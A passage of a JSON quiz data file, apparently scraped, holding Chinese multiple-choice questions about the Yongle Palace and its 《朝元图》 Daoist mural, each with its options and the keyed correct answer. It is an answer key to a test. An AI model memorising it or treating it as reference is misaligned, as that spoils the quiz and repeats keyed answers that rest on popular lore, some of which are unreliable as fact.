04:48:49","status":"1"},{"questionId":"1901441697","questionIndex":"4","questionStem":"永乐宫搬迁的原因是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCku6_76yFi3OzGFj\",\"optionDesc\":\"地基面临塌方\"},{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCyPrw4LVPCe-tU_3\",\"optionDesc\":\"当地处于地震带\"},{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCHVShyQIGA32I-tm\",\"optionDesc\":\"修水库可能会淹没原址\"}]","questionToken":"Ks0Sx0BXjjgVN1AmGUwyWvpsU5IBFyAxxrGuqfclpsId5x4Gi2rR6JhMPQCgHlJV867Y8CIC5GdefFKVPxqiCfJkaiu21w","correct":"{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCHVShyQIGA32I-tm\",\"optionDesc\":\"修水库可能会淹没原址\"}","create_time":"27/1/2021 04:54:35","update_time":"27/1/2021 04:54:35","status":"1"},{"questionId":"1901441698","questionIndex":"1","questionStem":"以下哪个著名古代木构建筑不在山西?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpC8CkrZ3VZDPt5Jk\",\"optionDesc\":\"佛光寺大殿\"},{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCmUMHkxVnQwPLE0\",\"optionDesc\":\"南禅寺大殿\"},{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCPPqIQdQLc8pQLw\",\"optionDesc\":\"摩尼殿\"}]","questionToken":"Ks0Sx0BXjjgVOFAjGUwyWh2SZ_o6H6u2356tn2fUSVwHBtpyCsDmFXT3DVpCh3F6oayFfL-uRqcGsW5aCNnk9DvbGvByKA","correct":"{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCPPqIQdQLc8pQLw\",\"optionDesc\":\"摩尼殿\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"1901441699","questionIndex":"2","questionStem":"以下哪个山西著名古代建筑不属于元代建筑?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCqEcfjqCvDqg54a0\",\"optionDesc\":\"芮城永乐宫\"},{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCAVPA842_mqvQcnN\",\"optionDesc\":\"芮城广仁王庙\"},{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpC-K88SK8bXy86aCi\",\"optionDesc\":\"洪洞广胜寺水神庙\"}]","questionToken":"Ks0Sx0BXjjgVOVAgGUwyXa21Vv7aiRCLkXg6gzZvmb9iSzQT8YsItL7RRnquYpCWmfdTOJQwM6YErRSVPP4k16KRX56Ocg","correct":"{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCAVPA842_mqvQcnN\",\"optionDesc\":\"芮城广仁王庙\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"1901441700","questionIndex":"5","questionStem":"以下哪个选项是永乐宫所在地曾用名?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPcqm23u0agRmLAhD\",\"optionDesc\":\"晋阳\"},{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPOElfqWuay_w5zcO\",\"optionDesc\":\"长安\"},{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPy44jSSLDkIjRL49\",\"optionDesc\":\"蒲州\"}]","questionToken":"Ks0Sx0BXjjmvIuUxY-MObbKS9LyRlkZXC758uhJEewZQza4YbEyvTVUVxrsZcnxxZwH8yXu8pcj593L50_b9pirJl7LXuA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPy44jSSLDkIjRL49\",\"optionDesc\":\"蒲州\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"1901441701","questionIndex":"3","questionStem":"《朝元图》位于永乐宫的哪个建筑中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVPWaeu-7IZKwhej4\",\"optionDesc\":\"纯阳殿\"},{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVP4R-CriTieu-GEw\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVPDdflfwNOeXX9hw\",\"optionDesc\":\"重阳殿\"}]","questionToken":"Ks0Sx0BXjjmvI-U3Y-MOagzhoBHzGNLhwVN8K0s6LLCbs0y3KEwnmXgqQfYGsKCpgn83IQKAkZ6pLyDqjDTlDpLZGRrMRw","correct":"{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVP4R-CriTieu-GEw\",\"optionDesc\":\"三清殿\"}","create_time":"27/1/2021 04:44:59","update_time":"27/1/2021 04:44:59","status":"1"},{"questionId":"1901441702","questionIndex":"4","questionStem":"《朝元图》中有几位主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVP1dXlbzP1UHqm59v\",\"optionDesc\":\"八位\"},{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVPcbCov9JryL8fLrF\",\"optionDesc\":\"三位\"},{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVPFff4XqToBBFD8zw\",\"optionDesc\":\"四位\"}]","questionToken":"Ks0Sx0BXjjmvIOUwY-MOakFYMNcL4DrtVblyr8WSBl--cn7ocqinpdal4tHRKMJ2dS0FR0kiQHMwhSgS-fYeqm8SO5QQ4w","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVP1dXlbzP1UHqm59v\",\"optionDesc\":\"八位\"}","create_time":"27/1/2021 04:38:09","update_time":"27/1/2021 04:38:09","status":"1"},{"questionId":"1901441703","questionIndex":"3","questionStem":"《朝元图》中的神仙在做什么?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVPbueQ8EL2hb4t2g\",\"optionDesc\":\"朝拜元朝统治者\"},{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVP6wI4VWvdo4hzXg\",\"optionDesc\":\"朝拜元始天尊\"},{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVPPDCQqaOpqGG5Ks\",\"optionDesc\":\"朝贺元旦\"}]","questionToken":"Ks0Sx0BXjjmvIeU3Y-MOaull00vMLH8_139kq5wfuyS7OJu5Fd92N5OnaPfBe4AZwb0dz5bQ3heWBRT_8_kki8UsFE57Gg","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVP6wI4VWvdo4hzXg\",\"optionDesc\":\"朝拜元始天尊\"}","create_time":"27/1/2021 04:51:26","update_time":"27/1/2021 04:51:26","status":"1"},{"questionId":"1901441704","questionIndex":"3","questionStem":"《朝元图》中没有以下哪位神仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVPKaDNXX6O4EUlyo\",\"optionDesc\":\"雷神\"},{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVP9J944sUhYEEe-g\",\"optionDesc\":\"齐天大圣\"},{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVPZ4gSdqWwI_2YT4\",\"optionDesc\":\"后土娘娘\"}]","questionToken":"Ks0Sx0BXjjmvJuU3Y-MOanEJl7eslG5yx4dg3o4E_MscpQW7PQiQqU8pcB3tUfv3-LaAk0XQA1RskSf_22cTkid1VpOEPA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVP9J944sUhYEEe-g\",\"optionDesc\":\"齐天大圣\"}","create_time":"27/1/2021 04:40:56","update_time":"27/1/2021 04:40:56","status":"1"},{"questionId":"1901441705","questionIndex":"1","questionStem":"《朝元图》中大约绘制了多少神仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPHDIzMfdyfVLl-RF\",\"optionDesc\":\"800位\"},{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPX4HrvxnzDEF-YZO\",\"optionDesc\":\"100位\"},{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPy6ext_oi01koRcS\",\"optionDesc\":\"300位\"}]","questionToken":"Ks0Sx0BXjjmvJ-U1Y-MOaieU1nvHn75aFHSk7XA-OrwwJHb6lm94QI7TI3MgVYptREfGRRiNG2Wupb4VBZ8juqACbmG_pA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPy6ext_oi01koRcS\",\"optionDesc\":\"300位\"}","create_time":"27/1/2021 04:40:13","update_time":"27/1/2021 04:40:13","status":"1"},{"questionId":"1901441706","questionIndex":"1","questionStem":"传说中玉皇大帝与王母娘娘是什么关系?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVP2ydvsHFzfnsRja9_A\",\"optionDesc\":\"同事关系\"},{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVPNhZZhCwsTQ6GV5bkg\",\"optionDesc\":\"兄妹关系\"},{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVPe883FpYFPuMwrjh8w\",\"optionDesc\":\"夫妻关系\"}]","questionToken":"Ks0Sx0BXjjmvJOU1Y-MObWO9JK2qFGiAR38tJJTPrFo7-cd_U2TTnugZ6l8OMjN4S_KiBeMvIqjMy5e5gamqqwiwgasQbQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVP2ydvsHFzfnsRja9_A\",\"optionDesc\":\"同事关系\"}","create_time":"27/1/2021 04:51:29","update_time":"27/1/2021 04:51:29","status":"1"},{"questionId":"1901441707","questionIndex":"5","questionStem":"哪位天庭武将是“北方四圣”中的一员?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVPG_oEFjHx1PXJD3C\",\"optionDesc\":\"卷帘大将\"},{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVPVBBTxL49FIAhErm\",\"optionDesc\":\"托塔天王\"},{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVP7aWhuwHYImI8Yhi\",\"optionDesc\":\"天蓬元帅\"}]","questionToken":"Ks0Sx0BXjjmvJeUxY-MObTYaTXY7IiFIWWzHdAv0LZH44w2YNBUM_pBLXfqUkKyudmCXSt_sE1pqdzPoUEzmu1ods5Y05Q","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVP7aWhuwHYImI8Yhi\",\"optionDesc\":\"天蓬元帅\"}","create_time":"27/1/2021 04:43:54","update_time":"27/1/2021 04:43:54","status":"1"},{"questionId":"1901441708","questionIndex":"4","questionStem":"《朝元图》中哪个神仙有六只眼睛?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVP4-nw4PtNKMsHlp3\",\"optionDesc\":\"仓颉\"},{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVPJDpHOdLv2cfBwQ9\",\"optionDesc\":\"紫光夫人\"},{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVPbJJZkBy3pJFptoz\",\"optionDesc\":\"孔子\"}]","questionToken":"Ks0Sx0BXjjmvKuUwY-MOasKwDIKi6F6ZgOH5dtJeOcsLpjvmPQyO7WQpkyAdFfcJXvVyZwKsymtGmJ8i7-OF-NaY1kcGCg","correct":"{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVP4-nw4PtNKMsHlp3\",\"optionDesc\":\"仓颉\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"1901441709","questionIndex":"1","questionStem":"《朝元图》中的财神是哪一位?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVPYRKc5S3RN6d4vzlZA\",\"optionDesc\":\"武财神关羽\"},{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVP75qR9gKnwmLmr0LDA\",\"optionDesc\":\"赵公明\"},{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVPMg-M_jgZIbIZYQGRQ\",\"optionDesc\":\"比干\"}]","questionToken":"Ks0Sx0BXjjmvK-U1Y-MOam062GXTq-n_3l5uUMFGXIrpmBWQ7lwR1IVf1KgLffmwHUfymyOD_3FXbUkDs4x6FpayMr2ACQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVP75qR9gKnwmLmr0LDA\",\"optionDesc\":\"赵公明\"}","create_time":"27/1/2021 04:32:53","update_time":"27/1/2021 04:32:53","status":"1"},{"questionId":"1901441710","questionIndex":"3","questionStem":"传说中文昌帝君能够保佑什么?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPfObyM8cfHzE7p5tuA\",\"optionDesc\":\"身体健康\"},{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPwDx3KS2XnOOCm2rhg\",\"optionDesc\":\"功名利禄\"},{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPDeMo62U1b0859pLDg\",\"optionDesc\":\"爱情婚姻\"}]","questionToken":"Ks0Sx0BXjjmuIuU3Y-MOahvFMpgUGD-HZhVnQw0nVghB3nmyUZ7vZHEzPGdpWwHtraj_xjQ7TwRILHgoHwUhrvjwojrCWg","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPwDx3KS2XnOOCm2rhg\",\"optionDesc\":\"功名利禄\"}","create_time":"27/1/2021 04:36:54","update_time":"27/1/2021 04:36:54","status":"1"},{"questionId":"1901441711","questionIndex":"3","questionStem":"哪个和太乙相关的神仙没有出现在朝元图中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVP9FGjxJi6lSMAP9frQ\",\"optionDesc\":\"太乙真人\"},{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVPH3LLFcwcQb4dLhhfQ\",\"optionDesc\":\"太乙神\"},{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVPeu9YUZnlG-RRVi1-A\",\"optionDesc\":\"太乙救苦天尊\"}]","questionToken":"Ks0Sx0BXjjmuI-U3Y-MObXAc-NiXGbyfribzZ_0zpsaaoH-9TtsQjbbUvGRsgZ08MXpED7wx_1ZMpOmH7T6lx86_p3bF1A","correct":"{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVP9FGjxJi6lSMAP9frQ\",\"optionDesc\":\"太乙真人\"}","create_time":"27/1/2021 04:34:25","update_time":"27/1/2021 04:34:25","status":"1"},{"questionId":"1901441712","questionIndex":"5","questionStem":"福禄寿三星中长着硕大脑门的长者是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVPY3Zwy9CA6qyCRuM\",\"optionDesc\":\"福星\"},{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVP0rrzA-eax904e_9\",\"optionDesc\":\"寿星\"},{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVPIBj5TGntSpDddnV\",\"optionDesc\":\"禄星\"}]","questionToken":"Ks0Sx0BXjjmuIOUxY-MObXikxUnE8jOhFQw_mgjTKmg0kOWMjxeOmg9IbR0fqdC5hQNti1hbBllyli68SCaiOkxhC5hxVQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVP0rrzA-eax904e_9\",\"optionDesc\":\"寿星\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"1901441713","questionIndex":"3","questionStem":"以下哪个法器没有出现在《朝元图》壁画中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPxKmgYEj4pyfr80\",\"optionDesc\":\"轮盘\"},{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPRI4URnfXhMB5OM\",\"optionDesc\":\"七宝炉\"},{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPIk27JzT4s6rx-0\",\"optionDesc\":\"琵琶\"}]","questionToken":"Ks0Sx0BXjjmuIeU3Y-MOba3nZTwvt0PzFIUoxkInXnkx9-9ccPVVcoz-Vehrg2fXoBJKQfEvPFxTpa3UVZDyRmsY9lmwKw","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPxKmgYEj4pyfr80\",\"optionDesc\":\"轮盘\"}","create_time":"27/1/2021 04:51:12","update_time":"27/1/2021 04:51:12","status":"1"},{"questionId":"1901441714","questionIndex":"3","questionStem":"以下哪个神兽没有出现在《朝元图》壁画中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPUaeyg3nni-gQL6C\",\"optionDesc\":\"凤凰\"},{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPxboESaPlnJx2HLl\",\"optionDesc\":\"麒麟\"},{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPHvwSRMfCJ59QFgr\",\"optionDesc\":\"龙\"}]","questionToken":"Ks0Sx0BXjjmuJuU3Y-MObe8Eu8-2_2fAqTWgP6i6fsK4c9z73hVw8eSHl6oduHuJlLEFmlKetv2Dw-BMTra9jxjb-w-mdg","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPxboESaPlnJx2HLl\",\"optionDesc\":\"麒麟\"}","create_time":"27/1/2021 04:47:59","update_time":"27/1/2021 04:47:59","status":"1"},{"questionId":"1901441715","questionIndex":"3","questionStem":"《朝元图》八大主神中有几位女性主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVP9EnqSrLZ9qH-xywrA\",\"optionDesc\":\"两位\"},{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVPWcjAzeAgDN-u64EtA\",\"optionDesc\":\"一位\"},{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVPKECW7oqSEMPE9DorQ\",\"optionDesc\":\"三位\"}]","questionToken":"Ks0Sx0BXjjmuJ-U3Y-MOanyAns5TTJSRauzj6F5VYmGEbntZh-NmAl_POZ76dAX349fkH8_-i-5bxVh94exvuBKFvPF4og","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVP9EnqSrLZ9qH-xywrA\",\"optionDesc\":\"两位\"}","create_time":"27/1/2021 04:44:19","update_time":"27/1/2021 04:44:19","status":"1"},{"questionId":"1901441716","questionIndex":"5","questionStem":"以下哪位不属于永乐宫《朝元图》八大主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVPX0VLaYTMYxxavqN\",\"optionDesc\":\"王母娘娘\"},{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVP26U2e6FEF_jDE59\",\"optionDesc\":\"月神\"},{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVPHkMRvcvItLmiTMf\",\"optionDesc\":\"后土娘娘\"}]","questionToken":"Ks0Sx0BXjjmuJOUxY-MOba4Xbwc_Rs0PFOQa5sD6LsCOzymh-cKElTy4tZxSbvYqTYJf4c2gHmIalUP1BlkRU1AEawSB3A","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVP26U2e6FEF_jDE59\",\"optionDesc\":\"月神\"}","create_time":"27/1/2021 04:50:50","update_time":"27/1/2021 04:50:50","status":"1"},{"questionId":"1901441717","questionIndex":"2","questionStem":"永乐宫中的仙女(玉女)是通过什么命名的?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVPYHOWOjvEJpzG7Pd\",\"optionDesc\":\"她们的官职\"},{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVP8Kna_yJKy4KGclr\",\"optionDesc\":\"她们手上的宝物\"},{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVPM6zvWZ8tb3mMW7j\",\"optionDesc\":\"她们的头饰\"}]","questionToken":"Ks0Sx0BXjjmuJeU2Y-MOaph8C5S33R3Hh7jYe9tRzz6TZFKe6i9okrNhAQfw-hHjue-ook1HXh_XkCXv0jeV4iBBh5iiVA","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVP8Kna_yJKy4KGclr\",\"optionDesc\":\"她们手上的宝物\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"1901441718","questionIndex":"3","questionStem":"永乐宫《朝元图》壁画中的两位前导仙官是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVPL8pw9L4plaeKbPAvw\",\"optionDesc\":\"天蓬天猷\"},{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVPXFxD33dLNGzcU0LGg\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVP7-H9Lcyh3FQw-I-Vw\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"Ks0Sx0BXjjmuKuU3Y-MObetPl-lkKA5JCUO-cVXcl50a4Dxmc4TZn6P0Aqw_R_qpKqBkT4zSe_SjSNeQva00G1cDXe0KDw","correct":"{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVP7-H9Lcyh3FQw-I-Vw\",\"optionDesc\":\"青龙白虎\"}","create_time":"27/1/2021 04:39:23","update_time":"27/1/2021 04:39:23","status":"1"},{"questionId":"1901441719","questionIndex":"1","questionStem":"哪位儒家人物出现在了永乐宫《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPIdQIHUw_WchQ7e1XA\",\"optionDesc\":\"孟子\"},{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPxoQwMOTlmNNFtZ1Dw\",\"optionDesc\":\"孔子\"},{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPd2B0m61EQPfesS7jw\",\"optionDesc\":\"董仲舒\"}]","questionToken":"Ks0Sx0BXjjmuK-U1Y-MObdrzw-4AA4uFroi5mrIvFkOD3GoA7pylN0Y-A8OnhWsevgrB0B7p17x4OxLQzjOtaZg3gIQCsQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPxoQwMOTlmNNFtZ1Dw\",\"optionDesc\":\"孔子\"}","create_time":"27/1/2021 03:36:31","update_time":"27/1/2021 03:36:31","status":"1"},{"questionId":"1901441720","questionIndex":"5","questionStem":"“北极四圣”中的谁成为了“大帝”?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVPKw9I1jHLE91UNs\",\"optionDesc\":\"黑煞真君\"},{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVPZVbap7pKmPg6RA\",\"optionDesc\":\"天蓬元帅\"},{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVP38HITTk8hJYFT0\",\"optionDesc\":\"真武真君\"}]","questionToken":"Ks0Sx0BXjjmtIuUxY-MOahS0F2WoqNHwxgKiqyqv0weWd3Jqf534ZRTzoilzdX82U-xiZnbRyyy062gp6Te5Kt5Bfv60KA","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVP38HITTk8hJYFT0\",\"optionDesc\":\"真武真君\"}","create_time":"27/1/2021 04:40:57","update_time":"27/1/2021 04:40:57","status":"1"},{"questionId":"1901441721","questionIndex":"1","questionStem":"《朝元图》中王母娘娘头上的卦象是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVP6pOHKJcyddo8rVc\",\"optionDesc\":\"坤\"},{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVPdxoH2vK515XecRO\",\"optionDesc\":\"A. 乾\"},{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVPEjU7h6f9ogcBErI\",\"optionDesc\":\"巽\"}]","questionToken":"Ks0Sx0BXjjmtI-U1Y-MObX80e9X0Hadx4R8yYUUO08_i2P4UoT-6K5xcdD8Yow7RrZ_EC4P10bvqMHE2GY-WaAPXlLh8VQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVP6pOHKJcyddo8rVc\",\"optionDesc\":\"坤\"}","create_time":"27/1/2021 04:46:04","update_time":"27/1/2021 04:46:04","status":"1"},{"questionId":"1901441722","questionIndex":"5","questionStem":"\"一人得道鸡犬升天\"与哪位神仙的传说有关?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPydm3kr-gZRLEWgA\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPCrqZYtL3wdGAsH-\",\"optionDesc\":\"太乙天尊\"},{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPYmVeDhfCaoDyaOr\",\"optionDesc\":\"吕洞宾\"}]","questionToken":"Ks0Sx0BXjjmtIOUxY-MOauqcZPuFTkoA21h9B9u92-TQPxYHl0YxakFhpqRzOrcIpEO4dyCICpO67tNxv8v3gzoSEpk6mw","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPydm3kr-gZRLEWgA\",\"optionDesc\":\"玉皇大帝\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"1901441723","questionIndex":"1","questionStem":"下列哪个不是王母娘娘的称号?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPF5YlHNxPJzOqwv_\",\"optionDesc\":\"金元圣母\"},{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPTmwupfZ-2Vc7Itg\",\"optionDesc\":\"西王母\"},{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPwgHp1zauhhyfCjF\",\"optionDesc\":\"后土皇地祇\"}]","questionToken":"Ks0Sx0BXjjmtIeU1Y-MObW1Jwjy2VOOm2PrNY4IzCSy-Mxdbx6GEoqpuAbGIetxwVzu8h7cd3Bfdawy56jmEYexqBI6Vzg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPwgHp1zauhhyfCjF\",\"optionDesc\":\"后土皇地祇\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"1901441724","questionIndex":"1","questionStem":"传说中以下哪个方面不归王母娘娘掌管?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVPdNbOqh5_uhreYV_\",\"optionDesc\":\"仙女仙籍\"},{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVPI7aGctv11wan02x\",\"optionDesc\":\"长生不老药\"},{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVP7JdlYuoX_MqE8SU\",\"optionDesc\":\"女红\"}]","questionToken":"Ks0Sx0BXjjmtJuU1Y-MObbW-U5lsNIwXsMaGaZsxRmkiVIM2KofNM1sA39qGJERy7u-RTV_rHBXZEkVHwMCcl7sH-Rm6gg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVP7JdlYuoX_MqE8SU\",\"optionDesc\":\"女红\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"1901441725","questionIndex":"2","questionStem":"以下哪个组合不在《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVP3yODuScInsv0JQ\",\"optionDesc\":\"天龙八部\"},{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVPL4V-ACY-HUUqxc\",\"optionDesc\":\"三十二帝君\"},{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVPXOeDJBFfdivg9M\",\"optionDesc\":\"南斗六星\"}]","questionToken":"Ks0Sx0BXjjmtJ-U2Y-MOarse4qjCpK72FkIVH7SEQ4BvA52jQBOYQCJOJVeb0rJB88hE74BpQrxqE2p4_zsEwFDZnBlAuw","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVP3yODuScInsv0JQ\",\"optionDesc\":\"天龙八部\"}","create_time":"27/1/2021 04:48:47","update_time":"27/1/2021 04:48:47","status":"1"},{"questionId":"1901441726","questionIndex":"5","questionStem":"织女星位于二十八星宿中的哪个?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVPaM3NeGG1vThVnVs\",\"optionDesc\":\"斗宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVPJ3XCOcXlbItYjNp\",\"optionDesc\":\"女宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVP7NWlhKX3uylsmU4\",\"optionDesc\":\"牛宿\"}]","questionToken":"Ks0Sx0BXjjmtJOUxY-MObXQSv7PRyqZH5H0o4PhB3Ho6q8zxBbhdJmkLkfASkeZzjXm0ZsjyUfreSMR-JX8VY-lbW2V4MA","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVP7NWlhKX3uylsmU4\",\"optionDesc\":\"牛宿\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"1901441727","questionIndex":"2","questionStem":"《朝元图》中有文曲星位于哪个星官组合中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPzs65AYgsQizpBXuGQ\",\"optionDesc\":\"北斗七星\"},{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPZvEBENz9EsnawUkAQ\",\"optionDesc\":\"二十八星宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPF9d9WLNTiEz93-ebg\",\"optionDesc\":\"南斗六星\"}]","questionToken":"Ks0Sx0BXjjmtJeU2Y-MOas8VlXqvyl7JtU8joc8KBi3TFp_Ryq5oNGlH1Dne73BO5Ci4XJvuznZAjWyZe0PPeFa47QMKpQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPzs65AYgsQizpBXuGQ\",\"optionDesc\":\"北斗七星\"}","create_time":"27/1/2021 04:42:39","update_time":"27/1/2021 